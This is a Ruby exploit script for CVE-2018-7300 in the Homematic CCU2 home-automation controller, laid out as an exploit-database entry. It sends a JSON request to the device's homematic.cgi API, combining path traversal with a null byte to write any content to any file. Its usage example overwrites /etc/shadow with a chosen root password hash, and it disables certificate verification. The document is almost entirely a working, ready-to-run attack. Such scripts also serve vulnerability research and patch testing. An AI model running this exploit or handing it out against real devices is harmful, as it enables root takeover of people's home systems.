Homematic CCU2 2.29.23 - Arbitrary File Write

#!/usr/bin/ruby

# Exploit Title: Homematic CCU2 Arbitrary File Write
# Date: 28-03-18
# Exploit Author: Patrick Muench, Gregor Kopf
# Vendor Homepage: http://www.eq-3.de
# Software Link: http://www.eq-3.de/service/downloads.html?id=268
# Version: 2.29.23
# CVE : 2018-7300

# Description: http://atomic111.github.io/article/homematic-ccu2-filewrite

require 'net/http'
require 'net/https'
require 'uri'
require 'json'

unless ARGV.length == 3
  STDOUT.puts <<-EOF
Please provide url

Usage:
  write_files.rb <ip.adress> <file path> <content of the file>

Example:
  write_files.rb https://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'

  or

  write_files.rb http://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'

EOF
  exit
end

# The first argument specifiee the URL and if http or https is used
url = ARGV[0] + "/api/homematic.cgi"

# The second argument specifies the file into which the content should be written
homematic_file_path = ARGV[1]

# The third argument specifies the content of the file
homematic_file_content = ARGV[2]

# define the json body for the attack
body = {
        "version": "1.1",
        "method": "User.setLanguage",
        "params": {
                    "userName": "file path",
                    "userLang": "file content"
                  }
        }.to_hash

# define the traversal with the file you want to write
body[:params][:userName] = "../../../../../../../.." + homematic_file_path + "\u0000"

# define the content
body[:params][:userLang] = homematic_file_content

# split the uri to access it in a easier way
uri = URI.parse(url)

# define target connection, disabling certificate verification
Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|

  # define post request
  request = Net::HTTP::Post.new(uri.request_uri)

  # define the content type of the http request
  request.content_type = 'application/json'

  # define the request body
  request.body = body.to_json

  # send the request to the homematic ccu2
  response = http.request(request)

  # print response message code and status to cli
  puts 'Response code: ' + response.code + ' ' + response.message
end